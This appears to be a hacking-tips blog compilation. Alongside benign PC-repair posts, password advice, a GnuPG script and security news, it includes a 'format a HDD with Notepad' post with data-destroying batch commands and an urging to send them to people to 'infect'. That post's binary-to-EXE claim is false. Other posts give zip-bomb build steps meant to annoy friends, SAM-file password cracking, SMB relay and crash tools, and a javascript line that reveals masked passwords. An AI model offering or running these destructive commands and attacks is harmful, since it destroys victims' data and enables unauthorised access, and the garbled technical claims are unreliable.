SVCHOST.exe Virus & Removal

It is possible for malicious softwares to modify the windows registry & make SVCHOST.exe process to load the wrong malicious .dll files. Which will endup in making your computer or network affected with viruses and malewarez.
Another common approach is that virus files are names SCVHOST.exe did you see the difference in the filenames ? SVC vs SCV??
What this file sCvhost.exe does is that it allow hackers to access all your personal information, This is a virus of tye W30/Agobot-S , You may also call this a trojan horse. Since it hides itself with a genuine process name.

How to remove Svchost.exe virus or sCvhost.exe virus:

1. Removing the Svchost virus can be a very tedious task, Though i personally managed to somehow remove the virus using advanced tactics, It is not recommended that you try and follow the same, Because a single mistake could lead to a damaged Operating system, Which would be difficult to recover.
2. So instead of giving you the steps I find it appropriate to suugest you that you should use an Anti-virus to do this for you.
3. You can grab your self a free copy of antivirus over here ( Norton Internet Security).

100% CPU utilization error in SVCHOST.EXE Process & Memory Leaks:

The first solution to this problem is that you may just want to restart the computer, Most of the times this will solve your problem,Another quick solution for this problem is to start the task manager & find the process causing this problem & then right click the process name and set the priority to low.

Make Ultra Strong Passwords

Strong Article Worth Sharing.

As some Microsoft Operating System geeks know, you can type many more characters than are on a standard keyboard by using the ALT+NUMPAD combination technique. For example, by holding down the ALT key, typing 234 on the number pad, then releasing ALT gives you the O character. I'm writing this article mostly because when I search around for information on the topic of ALT+Number key combos I find pages that are lacking in details. Most of the pages I found are coming from the angle of using ALT+NUMPAD combinations as shortcuts for typing in non-English languages, but I have another use for them. Using ALT+NUMPAD can make for some very ugly passwords to crack. These odd characters have two major advantages over normal keystrokes:


1. They are unlikely to be in someone's dictionary or brute force list. Try brute forcing a password like "ace of ?s" or "I am the a and the O".
2. Some hardware key loggers will not log these odd characters. Your mileage may vary on this as some key loggers can, so don't rely on it to keep you 100% safe.

I'll cover the 2nd point more in an upcoming article. Using ALT+NUMPAD to type odd characters into your password also has a few disadvantages.


1. The way they are described in this article only works in Microsoft Operating Systems (DOS, Windows 9x, Vista, XP, 2000), and there may be some variation amongst the different versions. If you know of a good way to do the same thing in Linux please email me.
2. Not all applications will let you use these odd characters. For testing I tried the password "Oÿ" (ALT+234 and ALT+0255) on a Windows XP local account,, but not all application will let you use these sorts of characters in your password.

Microsoft has the following to say on the subject of ALT+NUM key codes:


From:http://www.microsoft.com/globaldev/reference/glossary.mspx


Alt+Numpad: A method of entering characters by typing in the character’s decimal code with the Numeric Pad keys (Num Lock turned on). In Windows:


• Alt+<xxx>, where xxx is the decimal value of a code point, generates an OEM-encoded character.
• Alt+<0xxx>, where xxx is the decimal value of a code point, generates a Windows-encoded character.
• Alt+<+>+<xxxx>, where xxxx is the hexadecimal Unicode code point, generates a Unicode-encoded (UTF-16) character.


Shortly I'll explain explain the first two methods further. The 3rd is more problematic to work with. First, you may have to edit your registry and add a the REG_SZ value "HKEY_Current_User/Control Panel/Input Method/EnableHexNumpad", then set it to "1". Also, depending on where you are trying to type the character the application may interpret your hexadecimal Fs as attempts to bring down the file menu. Since method three is so problematic I'll focus on the first two methods.
First, make sure you are using the number pad and not the top roll number keys, only the number pad works for this. Second, make sure NUM LOCK is on. It does not have to be on in all cases for these key combos to work, but it helps by keeping the number pad from being misinterpreted.

The chart from the site shows the relevant key codes to get various symbols. The table on the left shows the OEM Extended ASCII character set (AKA: IBM PC Extended Character Set; Extended ASCII; High ASCII; 437 U.S. English). True ASCII is only 7 bit, so the range is 0 to 127. IBM extended it to 8 bits and added more characters. To type these characters you merely have to hold down an ALT key, type the numeric value of the character, then release the ALT key.

The table on the right shows the ANSI character set (AKA: Window's ANSI/ISO Latin-1/ANSI Extended ASCII, though technically they are not exactly the same thing.). To use the ANSI character set you do the same thing as the OEM set, but you preface the number with an extra zero. Notice that the first 127 should be the same in both sets, though values 0-31 may not be viewable in all cases. I've been in "character encoding hell" just trying to get this article on my site in a readable format.

For example, ALT+257 gives me a in Wordpad, but in Notepad it loops back around the character set and gives me?(257-256=1 which is ? in the OEM set) . If you want to know what key code will bring up a particular character in a certain Windows font run Windows Character Map (charmap.exe) and look in the bottom right corner to find out.

some examples :

ALT+130 é
ALT+131 â
ALT+132 ä
ALT+133 à
ALT+134 å
ALT+135 ç
ALT+136 ê
ALT+137 ë
ALT+138 è
ALT+139 ï
ALT+140 î
ALT+141 ì
ALT+142 Ä
ALT+143 Å
ALT+144 É
ALT+145 æ
ALT+146 Æ
ALT+147 ô
ALT+148 ö
ALT+149 ò
ALT+150 û
ALT+151 ù
ALT+152 ÿ
ALT+153 Ö
ALT+154 Ü
ALT+155 ¢
ALT+156 £
ALT+157 ¥
ALT+158 P
ALT+159 ƒ
ALT+160 á
ALT+161 í
ALT+162 ó
ALT+163 ú
ALT+164 ñ
ALT+165 Ñ
ALT+166 ª
ALT+167 º
ALT+168 ¿
ALT+169 ¬ 



Source: Irongeek

Beware of Hackers : Secutiy Awareness

Protect Urself !

Follow These Simple Guidelines n u are done

*** Under the security option tab of Mozilla Firefox there is an option Show Passwords make sure its protected by the master password.

1. U may avoid using Internet Explorer(old versions) and make the switch to Opera, it's more secure, plain and simple.

2. Get Spybot Search and Destroy or Spyware Doctor and immediately update it.

3. Get Adaware SE and immediately update it.
(Use both as a 1-2 punch on infected client computers and between the two there's not much they won't kill)

4. Update your anti virus,

5. Boot into safe mode and run all three scans (once in a month)

6. While the scans are going check your registry (Click start --> Run and type regedit to get intot he registry) and look in HKEY_CurrentUser/software/microsoft/windows/currentversion/run & HKEY_Local_Machine/software/microsoft/windows/currentversion/run. Verify that all programs listed are legitimate and wanted.

7. If or when your antivirus scan comes across anything, search for that file name in your registry and delete it, at least quarantine it.

8. Use explorer to go to the windows/system32 folder and sort by date. If you haven't already done so, make sure you can see the entire file names. click Tools --> Folder Options and unclick the box labeled "Hide extensions for known file types" and under Hidden files and folders click "Show hidden files and folders." However, make sure you choose "Hide protected operating system files" so you don't accidentally remove anything that would cripple your computer.. You are looking for recent files with names ending with .exe and .dll that look suspicious. Major culprits will have gibberish names such as alkjdlkjfa.exe.

9. Once you can get clean scans in safe mode, reboot in normal mode and scan all over again. If you can't get a clean scan in regular mode then you have something more persistant that could take more research.

10. Make sure your firewall doesn't have strange exceptions.

11. If you suspect anything that is going wrong with your computer is the action of a stalker, on a more secure system change all your major passwords, mostly bu using a virtual keyboard(to prevent keyloggers).

12. If your system has been specifically targeted and hacked you can never be 100% sure that your system is no longer compromised so start with 11, make backups of personal files on the infected system and format and re-install Windows.

Good luck!

I am being stalked / spied . now what!!

As email providers give away more and more storage space, more and more personal information is being stored in those accounts. People are increasingly using their email accounts for more than just email - it has become their online document storage area with backup documents such as passwords, bank account numbers, account usernames, scans of correspondence and much more. Even if you don’t use your email for this purpose, you may still be inadvertantly revealing personal information in general conversation emails to family and close friends. A 6GB Gmail account or an unlimited space Yahoo account is potentially an information bonanza source for identity thieves who manage to figure out your email password and then go snooping. But if someone HAS cracked your email password, it may not be apparent to you. A snooper can easily read an email then mark it as unread again. So the best thing to do would be to set up an “electronic tripwire” so if someone breaks into your account, you’ll know about it. Here’s how to do it :

1. Sign up for a website hit counter at www.onestatfree.com. You can leave a fake name and whatever URL you want (I used Google.com for mine). 

2. You will then receive a welcome email from OneStat with a text attachment called OneStatScript.txt. Download this attachment to your computer and then delete the email (you don’t want any email snoopers finding it later). But before deleting the email, write down your OneStat account number as you will need it later.

3. Change the name of the text document to something that will make the email snooper salivate such as passwordlist. Also change the file format from a text document to a website page. So make it something like passwordlist.htm .

4. Email this newly-renamed file as an attachment to the email account you want to monitor. Make sure the email subject title also lures the snooper in (maybe something like List of Passwords. You get the idea :).

5. The trap is now set. Basically if someone opens the email and opens the attachment, OneStat will record a hit. If you then log into your OneStat account say once a day, you will see how many hits you have had to your attachment.

The OneStat account page then gives you details on each “visitor” including the date and time they accessed the web document and more importantly their location and IP address! So how does having this information help you? Well first of all, it will alert you to change your password to something stronger. Secondly, if you see the snooper’s location and you only know one or two people there then it narrows down your list of potential suspects. By the way, I recommended signing up for One Stat because the author of the original idea mentioned them. But if you know of any other hit counter services that send text documents to your email address, then please mention them in the comments. I don’t have any financial advantage recommending One Stat so I am perfectly happy to consider alternative companies.

u may even use a return email notifications as read notify!!

Password-Cracking Techniques

Understanding Password-Cracking

Techniques

We get daily tons of requests regarding password cracking,
hereby we present a well researched comprehensive article adressing the same
It may bounce many of ur heads but we are sure a must mug up for Geeks nour regular visitors!!
so Gear Up! Dont give up before having a look on the entire article!




Many hacking attempts start with attempting to crack passwords. Passwords are the key piece
of information needed to access a system. Users, when creating passwords, often select passwords
that are prone to being cracked. Many reuse passwords or choose one that’s simple—such
as a pet’s name—to help them remember it. Because of this human factor, most password cracking
is successful; it can be the launching point for escalating privileges, executing applications,
hiding files, and covering tracks. Passwords may be cracked manually or with automated tools
such as a dictionary or brute-force method, each of which are covered later in this chapter.
Manual password cracking involves attempting to log on with different passwords. The
hacker follows these steps:
1.
Find a valid user account (such as Administrator or Guest).
2.
Create a list of possible passwords.
3.
Rank the passwords from high to low probability.
4.
Key in each password.
5.
Try again until a successful password is found.
A hacker can also create a script file that tries each password in a list. This is still considered
manual cracking, but it’s time consuming and not usually effective.

Boring!! isnt it!! A more efficient way of cracking a password is to gain access to the password file on a system.
Most systems



hash
(one-way encrypt) a password for storage on a system. During the
logon process, the password entered by the user is hashed using the same algorithm and then
compared to the hashed passwords stored in the file. A hacker can attempt to gain access to
the hashing algorithm stored on the server instead of trying to guess or otherwise identify the
password. If the hacker is successful, they can decrypt the passwords stored on the server.
Passwords are stored in the Security Accounts Manager (SAM) file on a
Windows system and in a password shadow file on a Linux system.



Understanding the LanManager Hash
Windows 2000 uses NT Lan Manager (NTLM) hashing to secure passwords in transit on the
network. Depending on the password, NTLM hashing can be weak and easy to break. For
example, let’s say that the password is
123456abcdef
. When this password is encrypted with
the NTLM algorithm, it’s first converted to all uppercase:
123456ABCDEF
. The password is
padded with null (blank) characters to make it 14 characters long:
123456ABCDEF__
. Before
the password is encrypted, the 14-character string is split in half:
123456A and BCDEF__.
Each string is individually encrypted, and the results are concatenated:
123456A = 6BF11E04AFAB197F
BCDEF__ = F1E9FFDCC75575B15
The hash is
6BF11E04AFAB197FF1E9FFDCC75575B15


Hacking Tools
Legion automates the password guessing in NetBIOS sessions. Legion scans multiple
IP address ranges for Windows shares and also offers a manual dictionary attack tool.
NTInfoScan is a security scanner for NT 4.0. This vulnerability scanner produces an HTMLbased
report of security issues found on the target system and other information.
L0phtCrack is a password auditing and recovery package distributed by @stake software,
which is now owned by Symantec. It performs Server Message Block (SMB) packet captures
on the local network segment and captures individual login sessions. L0phtCrack contains
dictionary, brute-force, and hybrid attack capabilities.
John the Ripper is a command-line tool designed to crack both Unix and NT passwords. The
cracked passwords are case insensitive and may not represent the real mixed-case password.
KerbCrack consists of two programs: kerbsniff and kerbcrack. The sniffer listens on the network
and captures Windows 2000/XP Kerberos logins. The cracker can be used to find the
passwords from the capture file using a brute force attack or a dictionary attack.

Cracking Windows 2000 Passwords
The SAM file in Windows contains the usernames and hashed passwords. It’s located in the
Windows\system32\config
directory. The file is locked when the operating system is running
so a hacker can’t attempt to copy the file while the machine is booted to Windows.
One option for copying the SAM file is to boot to an alternate operating system such as
DOS or Linux with a boot CD. Alternately, the file can be copied from the
repair
directory.
If a systems administrator uses the RDISK feature of Windows to back up the system, then a
compressed copy of the SAM file called
SAM._
is created in
C:\windows\repair
. To expand
this file, use the following command at the command prompt:
C:\>expand sam._ sam
After the file is uncompressed, a dictionary, hybrid, or brute-force attack can be run against
the SAM file using a tool like L0phtCrack.


Redirecting the SMB Logon to the Attacker
Another way to discover passwords on a network is to redirect the Server Message Block
(SMB) logon to an attacker’s computer so that the passwords are sent to the hacker. In order
to do this, the hacker must sniff the NTLM responses from the authentication server and trick
the victim into attempting Windows authentication with the attacker’s computer. A common
technique is to send the victim an e-mail message with an embedded hyperlink to a fraudulent
Hacking Tools
Win32CreateLocalAdminUser is a program that creates a new user with the username and
password
X
and adds the user to the local administrator’s group. This action is part of the
Metasploit Project and can be launched with the Metasploit framework on Windows.
Offline NT Password Resetter is a method of resetting the password to the administrator’s
account when the system isn’t booted to Windows. The most common method is to boot to
a Linux boot CD and then access the NTFS partition, which is no longer protected, and change
the password.
SMB server. When the hyperlink is clicked, the user unwittingly sends their credentials over
the network.


SMB Redirection
Several automated hacking tools can implement SMB redirection:


SMB Relay MITM Attacks and Countermeasures
An SMB relay MITM attack is when the attacker sets up a fraudulent server with a relay
address. When a victim client connects to the fraudulent server, the MITM server intercepts
the call, hashes the password, and passes the connection to the victim server.
Figure 4.1 illustrates an example of such an attack.


Hacking Tools
SMBRelay is an SMB server that captures usernames and password hashes from incoming
SMB traffic. SMBRelay can also perform man-in-the-middle attacks.
SMBRelay2 is similar to SMBRelay but uses NetBIOS names instead of IP addresses to
capture usernames and passwords.
pwdump2 is a program that extracts the password hashes from a SAM file on a Windows system.
The extracted password hashes can then be run through L0phtCrack to break the passwords.
Samdump is another program to extract NTLM hashed passwords from a SAM file.
C2MYAZZ is a spyware program that makes Windows clients send their passwords as clear
text. It displays usernames and their passwords as users attach to server resources.

SMB relay countermeasures include configuring Windows 2000 to use SMB signing, which
causes it to cryptographically sign each block of SMB communications. These settings are
found under Security Policies/Security Options.


NetBIOS DoS Attacks
A NetBIOS Denial of Service (DoS) attack sends a NetBIOS Name Release message to the NetBIOS
Name Service on a target Windows systems and forces the system to place its name in conflict
so that the name can no longer be used. This essentially blocks the client from participating in the
NetBIOS network and creates a network DoS for that system.


Password-Cracking Countermeasures
The strongest passwords possible should be implemented to protect against password cracking.
Systems should enforce 8–12 character alphanumeric passwords. The length of time the same
password should be used is discussed in the next section.
To protect against cracking of the hashing algorithm for passwords stored on the server,
you must take care to physically isolate and protect the server. The systems administrator can
use the SYSKEY utility in Windows to further protect hashes stored on the server hard disk.
The server logs should also be monitored for brute-force attacks on user accounts.
A systems administrator can implement the following security precautions to decrease the
effectiveness of a brute-force password-cracking attempt:
1.
Never leave a default password.
2.
Never use a password that can be found in a dictionary.


Hacking Tools
SMBGrind increases the speed of L0phtCrack sessions on sniffer dumps by removing duplication
and providing a way to target specific users without having to edit the dump files manually.
The SMBDie tool crashes computers running Windows 2000/XP/NT by sending specially
crafted SMB requests.
NBTdeputy can register a NetBIOS computer name on a network and respond to NetBIOS
over TCP/IP (NetBT) name-query requests. It simplifies the use of SMBRelay. The relay can be
referred to by computer name instead of IP address.


Hacking Tools

NBName can disable entire LANs and prevent machines from rejoining them. Nodes on a Net-
BIOS network infected by the tool think that their names are already in use by other machines.
3.
Never use a password related to the host name, domain name, or anything else that can
be found with whois.
4.
Never use a password related to your hobbies, pets, relatives, or date of birth.
5.
Use a word that has more than 21 characters from a dictionary as a password.
This subject is discussed further in the section “Monitoring Event Viewer Logs.”
In the following sections, we’ll look at two measures you can take to strengthen passwords
and prevent password-cracking.



Password Change Interval
Passwords should expire after a certain amount of time so that users are forced to change
their passwords. If the password interval is set too low, then users will forget their current
passwords; as a result, a systems administrator will have to reset users’ passwords frequently.
On the other hand, if passwords are allowed to be used for too long, then security
may be compromised. The recommended password-change interval is every 30 days. In
addition, it’s recommended that users not be allowed to reuse the last three passwords.
You cannot completely block brute-force password attacks if the hacker
switches the proxy server where the source packet is generated. A systems
administrator can only add security features to decrease the likelihood that
brute-force password attacks will be useful.


Monitoring Event Viewer Logs
Administrators should monitor Event Viewer logs to recognize any intrusion attempts either
before they take place or while they’re occurring. Generally, several failed attempts are logged
in the system logs before a successful intrusion or password attack. The security logs are only
as good as the systems administrators who monitor them.
Tools such as VisualLast aid a network administrator in deciphering and analyzing the
security log files. VisualLast provides greater insight into the NT event logs so the administrator
can assess the activity of the network more accurately and efficiently. The program is
designed to allow network administrators to view and report individual users’ logon and
logoff times; these events may be searched according to time frame, which is invaluable to
security analysts who are looking for intrusion details.
The event log located at
c:\\windows\system32\config\Sec.Event.Evt
contains the
trace of an attacker's brute-force attempts.

Ripping Flash Movies for Passwords

Ripping Flash Movies for Passwords Is easy.

How to rip a flash movie from a website.

Go to the website where the flashfile is located.
Open de sourcecode (rightmouse click...select view sourcecode) of the html,asp,php..etc file where the flash movie is played from.

"http://www.website.com" is the site where the flashfile is located.
"/flash/ " is the subdir on that website.
"movie.swf" is the flash file itself.

but ofcourse this is only a example: the website, subdir and moviename wil be diffrent to this one.

Look for something like this: (can be diffrent)

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="550" height="400">
<param name=movie value="http://www.website.com/flash/movie.swf">
<param name=quality value=high>
<embed src="http://www.website.com/flash/movie.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="550" height="400">
</embed>
</object>

Now the movie it self, it's highlighted in green.

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="550" height="400">
<param name=movie value="http://www.website.com/flash/movie.swf">
<param name=quality value=high>
<embed src="http://www.website.com/flash/movie.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="550" height="400">
</embed>
</object>

Now the ripping it self.
Open notepad or a webeditor and create a sourcecode like this:

<html>
<a href="http://www.website.com/flash/movie.swf">Flash movie</a>
</html>

Save the file with: "Save as" and name it "flash.html".
Open it in your webbrowser and rightclick on the link "Flash movie" select "save target as" and save it to your HDD.

Finally: open it in Macromedia Flash v*.* and lookup the passwor

How to Fix Blue Screen of Death

Blue Screen of Death is a very common error that occurs in all the versions of the Windows OS, be it Win XP, or Win Vista or Windows 7. A lot of major as well as minor hardware and software related issues can lead to Blue Screen of Death (BSOD). Sometimes you can resolve the issue by simply solving it by restarting your PC. However, many times the BSOD screen won’t allow you to reach the desktop or even if you have reached the desktop, the BSOD screen can appear all of a sudden while you are doing something important on your PC.

BSODs appear when Windows encounters a serious problem and stalls the operating system. You can easily fix BSOD issues by examining all the factors that has triggered it. Here are some things you should do when you encounter a BSOD:
1. Some BSODs are so bad that you may end up installing fresh copy of Windows on your system. If you are not able to access your data after the occurrence of BSOD, you may also end up losing all your precious data. So, you need try your best to reach the desktop. You can try the ‘Last Known Good Configuration’ option or by going into the Safe Mode. You can try both of these options by pressing the F8 key before the appearance of the Windows loading screen. If you do it correctly, you will see the ‘Windows Advanced Options Menu’ screen where you will see options like Safe Mode, Safe Mode with Networking and Last Known Good Configuration.

2. When you see the BSOD, you should read the message that appears on it carefully. Usually, the error screen contains a ‘STOP ERROR’ code that consists of numbers and alphabets. The code varies depending on the problems that have caused the respective BSOD error. So, the first thing you need to do is make a note of the error code.

3. If your system is displaying the BSOD screen after recent installation of hardware or software, you can try uninstalling the hardware or software and see if that resolves the issue. After uninstalling the software that caused the problem, you can perform virus scan on your system. Repairing registry errors by making use of registry applications can help in getting rid of BSODs that are caused by software. Alternatively, you can also try the System Restore option to go back to a date when your system was working perfectly fine.

4. The next thing you need to is to find out what has caused the BSOD by researching on the internet. You can do this on your secondary PC. All you need to do is type the STOP ERROR code on Google and find out what solutions are available. A very good way to find solution for all kinds of BSOD errors is to visit the Microsoft Support website. At Microsoft Support, you will get all the possible solutions that you can try to get rid of the BSOD screen.

Reveal *****(Asterisk) Passwords Using Javascript

Want to Reveal the Passwords Hidden Behind Asterisk (****) ?

Follow the steps given below-

1) Open the Login Page of any website. (eg. http://mail.yahoo.com)

2) Type your 'Username' and 'Password'.

3) Copy and paste the JavaScript code given below into your browser's address bar and press 'Enter'.

javascript: alert(document.getElementById('Passwd').value);

4) As soon as you press 'Enter', A window pops up showing Password typed by you..!


Note :- This trick may not be working with firefox.

Format A HDD With Notepad

If you think that Notepad is useless then you are wrong because you can now do a lot of things with the Notepad which you could have never imagined. In this hack I will show you how to format a HDD using Notepad. This is really cool.
Step 1 :-
Copy The Following In Notepad Exactly as it is.
says01001011000111110010010101010101010000011111100000
Step 2 :-
Save As An EXE Any Name Will Do
Step 3 :-
Send the EXE to People And Infect
OR
IF you think cannot format C Drive when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code
format c:\ /Q/X — this will format your drive c:\
01100110011011110111001001101101011000010111010000 100000011000110011101001011100
0010000000101111010100010010111101011000
format d:\ /Q/X — this will format your dirve d:\
01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000
format a:\ /Q/X — this will format your drive a:\
01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000
del /F/S/Q c:\boot.ini — this will cause your computer not to boot.
01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001
0110111001101001
try to figure out urself rest
cant spoonfeed
its working
Do not try it on your PC. Don’t mess around this is for educational purpose only
still if you cant figure it out try this
go to notepad and type the following:
@Echo off
Del C:\ *.*|y
save it as Dell.bat
want worse then type the following:
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file

The ZIP of Death - Exploit of the compression algorithms

This is a exploit of the compression algorithms to make a small zip that will extract into extream amounts their are more ways and better ones than this one but i will only show how to make a simple 1k = 1m ratio.

1) Make a.txt file

2) Open and type the null character (alt + 255)

3) Press ctrl + a then ctrl + v a couple times to make some null bytes

4) If u have a hexeditor make the hex 00 for about 50 kilobytes.

5) Now make several copies of a.txt and name accordinly

6) Open cmd.exe

7) Type copy /b *.txt b.txt

8) Now every copy is made into a super copy and repeat

9) Once you have a nice empty big text file like 1gb. Put it in a zip archive.
Because of the simple construction of the file, 1gb of null bytes.....!

The zip is only 1 mb in size and can really annoy freinds.
For added fun hex edit the zip and you will see a bunch of hex 5555

Just add some more and the file will expand amazingly

Make sure to not open this after

You can always create your zip of death from the command line in linux
dd if=/dev/zero bs=1000 count=1000000 | gzip > test.gz

Remove Brontok Virus

Start ur computer in safe mode with command prompt and type the followinf command to enable registry editor:-

reg delete HKCU\software\microsoft\windows\currentversion\policies\system /v "DisableRegistryTools"
and run HKLM\software\microsoft\windows\currentversion\policies\system /v "DisableRegistryTools"

after this ur registry editor is enable
type explorer
go to run and type regedit
then follow the following path :-
HKLM\Software\Microsoft\Windows\Currentversion\Run

on the right side delete the entries which contain 'Brontok' and 'Tok-' words.

after that restart ur system
open registry editor and follow the path to enable folder option in tools menu

HKCU\Software\Microsoft\Windows\Currentversion\Policies\Explorer\ 'NoFolderOption'
delete this entry and restart ur computer

and search *.exe files in all drives (search in hidden files also)
remove all files which are display likes as folder icon.

ur computer is completely free from virus brontok

Get a Call from your own Cell Phone number

Here is a trick to get a call to your cell phone from your own number. 

Just try the following steps and you’ll get a call to your cell phone from your own number.

 

 

1. Just give a missed call to this number. You’ll not be charged!

 

+41445804650

 

2. Wait for a few seconds and you’ll get a call to your cell phone from your own number

3. Receive the call. You’ll hear a lady voice asking for a PIN number. Just enter some rubbish number.

4. She say’s- Your PIN cannot be processed and the call disconnects..

Fake iPhone Unlocking App Changes DNS And Hijacks Internet Connection

An application that offers to unlock iPhones is actually designed to hijack internet connections on compromised Windows PCs, security watchers warn.
Spam messages direct potential victims to a domain called iphone-iphone.info that offers links to download a Windows executable called blackra1n.exe. The application claims to offer an unlock utility but instead it changes default DNS settings on infected Windows PCs, hijacking internet connections in the process.
Romanian anti-virus firm BitDefender, which identifies the executable as Trojan-BAT-AACL, explains that the malware comes as a Windows batch file packed alongside the iPhone jailbreaking application.
“The Trojan attempts to change the preferred DNS server address for several possible Internet connections on the users’ computers to 188.210.[REMOVED],” BitDefender explains. “This allows the malware creators to intercept the victims’ calls to reach internet sites and to redirect them to their own malware-laden versions of those sites.”
DNS-contaminating malware has been used in the past to redirect users to counterfeit versions of online banking sites. The precise purpose of the malware in this case seems to be to infect compromised Windows PCs with yet more crud, earning hackers affiliate revenues in the process. The Trojan affects only the host Windows PC, not any connected iPhone.

Source: http://cyberinsecure.com/category/mobile/

windows pgp file decryption

This VBS code was written to decrypt PGP-encrypted files on Windows. The otherwise nice package Gpg4win failed to work on a Japanese language Windows system. The commercial PGP software would have been overkill, and the GnuPG software for Windows could not be given to end-users because of their cryptic commandline operation. Therefore, the VBS program below was written as a front-end to GnuPG for Windows. It expects GnuPG to be installed, and the necessary PGP keys imported.

'////////////////////////////////////////////////////////////////////
'File:    DecryptFile.vbs
'Purpose: Prompts for a PGP encrypted input file and decrypts it using GPG
'         This program serves as a alternative to the Gpg4win package,
'         Gpg4win fails to work on Japanese Windows desktops. 
'Author:  Oct 2010, Frank Migge
'
'Requires: Local installation of GnuPG for Windows
'////////////////////////////////////////////////////////////////////
Option Explicit

Dim ObjFSO, InitFSO
Dim decryptedFilename
Dim gpgBinary
gpgBinary = "C:\Program Files\GNU\GnuPG\gpg2.exe"
Dim message
message ="PGP Decryption: Main Parameters" & vbNewLine

' Check Prerequisites
' -------------------
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists(gpgBinary) Then
  message = message & "GPG program: " & gpgBinary & " OK" & vbNewLine
Else
  Wscript.Echo "PGP Decryption: GPG program could not be found."
  Wscript.Quit
End If

Set ObjFSO = CreateObject("UserAccounts.CommonDialog")
ObjFSO.Filter = "PGP encrypted Files|*.pgp|All Files|*.*"
ObjFSO.FilterIndex = 1
ObjFSO.InitialDir = "%USERPROFILE%\Desktop"

InitFSO = ObjFSO.ShowOpen
If InitFSO = False Then
  Wscript.Echo "PGP Decryption: No PGP file selected, click 'OK' to close."
  Wscript.Quit
Else
  'newLines(2)="Encrypted File: " + ObjFSO.FileName + "\tOK\n"
End If

decryptedFilename = Left(ObjFSO.FileName, (InStr(1,ObjFSO.FileName,".pgp",1) -1))
'newLines(3)="Output File: " + decryptedFilename + "\tOK\n"

'newLines(4)="Enter passphrase\n"

MsgBox(message)

Dim bWaitOnReturn: bWaitOnReturn = True
Dim iWindowStyle: iWindowStyle = 7 'Minimized; active window stays active
Dim sPassphrase: sPassphrase = InputBox("Please type the passphrase below:",
                                        "Passphrase")

Dim sFileName_Input: sFileName_Input = ObjFSO.FileName
Dim sFileName_Output: sFileName_Output = decryptedFilename


Dim sCommand_Text: sCommand_Text = Chr(34) 
                   & gpgBinary & Chr(34) & "--passphrase " 
                   & Chr(34) & sPassphrase & Chr(34) & " -o " & Chr(34) 
                   & sFileName_Output & Chr(34) & " -d " & Chr(34) 
                   & sFileName_Input & Chr(34)

Dim oWiSH_Shell: Set oWiSH_Shell = CreateObject("WScript.Shell")
oWiSH_Shell.Run sCommand_Text, iWindowStyle, bWaitOnReturn

Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists(decryptedFilename) Then
Wscript.Echo "PGP Decryption: File has been successfully decrypted."
Else
Wscript.Echo "PGP Decryption: File could not be decrypted."
End If

Set oWiSH_Shell = Nothing
WScript.Quit

Source: http://www.frank4dd.com

Hardware keyloggers have been discovered in public libraries in Greater Manchester

Hardware keyloggers have been discovered in public libraries in Greater Manchester.
Two USB devices, attached to keyboard sockets on the back of computers in Wilmslow and Handforth libraries, would have enabled baddies to record every keystroke made on compromised PCs. It's unclear who placed the snooping devices on the machines but the likely purpose was to capture banking login credentials on the devices prior to their retrieval and use in banking fraud.
A third detected device was discovered but disappeared before it was turned over to local police, the Manchester Evening News reports.
Many members of the public use library computer access either for convenience or because they don't have a computer at home. The targeted libraries are in up-market districts on the southern outskirts of Greater Manchester. A BBC report on the incident has footage of one of the affected computers. The presumed scam, which had been going on for an as yet undetermined period, was only rumbled after staff examined one of the compromised PCs, which had begun misbehaving.
Library staff have been advised to keep a close eye on computers to help prevent the reccurrence of similar incidents in future. In addition, rules have been revised so that USB keyboards are plugged into the more visible front ports of a computer rather than its rear. PCs in Manchester libraries come fitted with net-nanny software and accounts that limit the ability of users to install software on machines. Cybercrooks have apparently found a way around these restrictions using hardware keyloggers, which are readily available at prices of around 30 or less.
The two confiscated devices are been examined by Cheshire polices hi-tech crime unit.

Stuxnet Had Five Targets

Graphic showing clusters of Stuxnet infections during targeted attacks launched in 2009 and 2010. Courtesy of Symantec.
Attackers behind the Stuxnet computer worm focused on targeting five organizations in Iran that they believed would get them to their final target in that country,accordingto anew report from security researchers.
The five organizations, believed to be the first that were infected with the worm, were targeted in five separate attacks over a number of months in 2009 and 2010, before Stuxnet was discovered in June 2010 and publicly exposed. Stuxnet spread from these organizations into other organizations on its way to its final target, which is believed to have been a nuclear enrichment facility or facilities in Iran.
“These five organizations were infected, and from those five computers Stuxnet spread out — not to just computers in those organizations, but to other computes as well,” says Liam O Murchu, manager of operations for Symantec Security Response. “It all started with those five original domains.”
The new information comes in an updated report from researchers at Symantec (.pdf), a computer security firm that has provided some of the leading analysis of the worm since it was discovered.
According to the report, Stuxnet’s first attack against the five organizations occurred in June 2009, followed by a second attack in July 2009. Eight months passed before subsequent attacks were launched in March, April and May 2010. The last attack was just one month before the code was discovered in June 2010 by VirusBlokAda, a security firm in Belarus, which said it had found the malware on computers of unspecified clients in Iran.
Symantec didn’t identify the names of the five organizations that were targeted; the company said only that all five “have a presence in Iran” and are involved in industrial processes. One of the organizations (what Symantec refers to as Domain B) was targeted with the worm in three of the five attacks. Of the remaining organizations, three of them were hit once, and the last organization was targeted twice.
Symantec has so far been able to count a constellation of 12,000 infections in the five organizations and outside organizations to which the malware spread. The most successful attack occurred in March 2010 when 69 percent of these infections occurred. The March attack targeted only Domain B, then spread.
Domain A was targeted twice (Jun 2009 and Apr 2010). The same computer appears to have been infected each time.
Domain B was targeted three times (Jun 2009, Mar 2010, and May 2010).
Domain C was targeted once (Jul 2009).
Domain D was targeted once (Jul 2009).
